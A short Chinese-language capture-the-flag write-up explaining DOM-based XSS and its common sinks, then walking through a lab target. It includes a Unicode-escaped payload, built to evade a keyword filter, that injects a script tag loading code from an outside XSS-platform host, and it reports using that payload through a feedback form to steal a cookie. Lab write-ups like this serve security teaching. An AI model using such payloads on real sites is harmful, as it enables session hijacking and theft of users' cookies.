1.知识点
DOM型XSS:DOM-Based XSS是一种基于文档对象模型DOM的Web前端漏洞,简单来说就是JavaScript代码缺陷造成的漏洞。与普通XSS不同的是,DOM XSS是在浏览器的解析中改变页面DOM树,且恶意代码并不在返回页面源码中回显
Dom型XSS常见函数:
- document.write():写入网页内容(可以接受native编码)
- innerHTML:修改节点内容
- eval:将字符串当作代码执行
2.访问靶场
查看网页源代码,发现存在document.write()
页面跟url跟网页中都出现了dom_xss,猜想可能是url的传参
url传参成功,因此可以尝试下使用url触发xss
发现存在防火墙过滤,怀疑存在对<script和事件关键字的过滤,尝试进行js编码格式的payload:http://59.63.166.75:8014/dom_xss/?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0068\u006b\u002e\u0073\u0062\u002f\u0069\u004e\u0030\u004d\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e
结合xss平台payload进行js编码尝试攻击,发现url处不生效,发现还有个问题反馈模块,payload尝试下
成功拿到cookie、flag